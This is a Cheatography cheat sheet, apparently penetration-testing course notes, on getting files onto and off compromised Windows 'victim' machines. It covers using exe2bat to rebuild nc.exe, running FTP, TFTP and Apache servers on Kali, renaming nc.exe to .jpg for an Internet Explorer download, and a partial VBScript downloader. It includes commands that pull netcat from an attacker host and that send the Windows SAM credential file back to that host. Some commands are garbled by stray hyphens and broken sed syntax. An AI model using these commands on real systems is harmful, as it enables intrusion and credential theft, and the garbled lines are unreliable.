File Transfers Cheat Sheet

by fred via cheatography.com/22666/cs/9067/

Info

Check Transfer Progress

http://www.cyberciti.biz/open--source/command-line-hacks/pv-command-examples/

DEBUG.exe

Note: Uploaded file cannot be larger than 64-bytes. UPX can be used to compress files.

`locate exe2bat.exe`

`wine exe2bat.exe`

`upx -9 nc.exe` (to compress nc.exe)

`ls -l nc.exe` (should now be smaller)

`wine exe2bat.exe /root/-nc.exe nc.txt` (convert nc.exe to nc.txt)

`cat nc.txt | more` (should be a hex dump)

Near the end of nc.txt, exe2bat tells the debugger on the windows victim to create an exe

Gain your shell using your usual exploit then copy and paste the contents of nc.txt into the remote shell. If it fails, re-run any failed commands manually. nc.exe will now be created on the victim machine.

Python

Victim

`python -m SimpleHTTPSe-rver`

Attacker

Browse to victim from attacking machine for a directory listing

Netcat

`nc -lvp 12345 | tar -xf -` (on receiver)

`tar -cf - filename.txt | nc -vn 192.168.1.14 12345` (on sender)

Note: You will have no indication of file progress. just wait a period of time then CTRL+C

http://www.g-loaded.eu/2-006/11/06/netcat-a-couple-of-u-seful-examples/

FTP - Windows

Connect to an ftp server on port 80

`ftp`

`open x.x.x.x 80`

Connect using commands in config.txt

`ftp -n -v -s:config.txt 10.2.10.14`

`config.txt:`

`user uid1234` (username)

`uid1234` (password)

`quit`

FTP Upload

Outbound FTP is usually allowed in companies.

Kali

`pure-pw useradd hacker -u ftpusers -d /ftphome/` (create user hacker)

`pure-pw mkdb`

`cp /pentest/windows/n-c.exe /ftphome`

`/etc/init.d/pure-ftpd start`

`ftp 127.0.0.1` (test login)

`ls` (nc.exe should appear)

`bye`

FTP Upload (cont)

Victim (Windows)

After getting a shell:

`echo open 192.168.34.10 > ftp.txt` (commands to be run in the -s step)

`echo myftp>> ftp.txt` (no space between username and append command)

`echo myftp>> ftp.txt`

`echo bin >> ftp.txt`

`echo get nc.exe >> ftp.txt`

`echo bye >> ftp.txt`

`ftp -s:ftp.txt` (-s run commands in ftp.txt)

FTP - Pure-FTPD

`/etc/init.d/pure-ftpd start` (start ftp server)

`netstat -antp` (confirm server on port 21)

`/etc/init.d/pure-ftpd stop` (stop ftp server)

`ls -l /ftphome` (home ftp directory created by ftpd)

`cp nc.exe /ftphome` (copy netcat to ftphome)

`ftp 127.0.0.1` (login ftp to server)

`ls` (netcat should appear)

`bin` (switch to binary for file transfer)

`get nc.exe` (confirm file transfer works)

`bye`

`file nc.exe` (confirm file properties are intact)

Internet Explorer

Can be good for bypassing Firewalls

`mv nc.exe to nc.jpg` (exe files will open a dialog, so they need to be converted)

`./ability-linux` (gain your remote shell)

```
cd prog*
cd internet*
start iexplore.exe
http://192.168.8.173/-nc.jpg` (nc.jpg will be downloaded to temp directory)
Navigate to the temporary internet files on the victim (e.g. c:\documents and settin-gs\offsec\local settin-gs\temporary internet files)
copy nc.jpg c:\
cd\
rename nc.jpg nc.exe
nc.exe (nc should be functional)
```

down.vbs

```
'Barabas pure vbs downloader - tested on XP sp2
'Microsoft fixed adodbstream but guess what :)
'(c)dec 2004
'First argument = complete url to download
'Second Argument = filename you want to save
'thnks to http://www.ericphe-lps.com/scripting/samples/Bina-ryDownload/
'
'v2 - now includes proxy support for the winhttp request stuff
```

down.vbs (cont)

strUrl = WScript.Arguments.Item(0)
StrFile = WScript.Arguments.Item(1)
'WinHttpRequest proxy settings.
Const HTTPREQUEST_PROXYSETTING_
DEFAULT = 0
Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0
Const HTTPREQUEST_PROXYSETTING_DIRECT = 1

VBS Download (with down.vbs)

`cat down.vbs` (confirm contents)
`sed 's/^echo /' downloadvbscript` (add echo to start of lines)
`sed 's/^echo /' downloadvbscript | sed 's/S/>> down.vbs/'` (add append to end of lines)
`sed 's/^echo /' downloadvbscript | sed 's/S/>> down.vbs/' | grep -v 'echo >> down.dbs'` (remove echo on blank lines)
`/etc/init.d/apache2 start`
`cp nc.exe /var/www/`
After getting a shell on your Victim:
Copy and paste the text output of the final sed command above and hit enter to create down.vbs.
`cscript down.vbs http://192.168.8.173/nc.exe nc2.exe` (to run down.vbs, which will download nc.exe to nc2.exe)

VBS Download (with down.vbs) (cont)

`nc.exe` (check if file is functional)

TFTP Server

Kali
`apt-get install atftpd`
`atftpd --daemon --port 69 /tmp` (start in daemon mode on port 69, home directory /tmp)
`atftpd --daemon --port 1234 /tmp` (start in daemon mode on port 1234, home directory /tmp)
`netstat -anup | grep atftp` (should be listening on port 69 udp)
`cp /nc.exe /tmp`
Downloading in Linux
`tftp 127.0.0.1` (connect to server)
`get nc.exe`
`quit`
`ls -l nc.exe`
`file nc.exe`
Kill Server
`ps -ef | grep atftp`
`kill -9 16084` (first column number)
`netstat -anup | grep 69` (confirm server has been killed)

TFTP

Note: Most corporate firewalls will block outbound traffic rendering TFTP unusable. TFTP might not be on Windows machines. Files transferred will usually be read only. Change attrib of file to delete using attrib -r filename.

TFTP (cont)

Download from Attacker
Kali
`atftpd --daemon --port 69 /tmp`
`/usr/share/windows-binaries/nc.exe /tmp`
`chmod 777 /tmp/nc.exe`
Windows
Initiate your remote shell to the Windows PC using your exploit:
`./ability-linux.py` (ability exploit, served, shell started)
`cd`
`tftp -i 192.168.23.10 GET nc.exe` (on Windows Victim, IP = Kali)
Upload to Attacker
`tftp -i 192.168.8.172 PUT sam`
sam should now appear in /tmp on the Kali machine
Download in Windows
`tftp get 2.3.5.1:/lanscan` (get the file lanscan from TFTP server 2.3.5.1)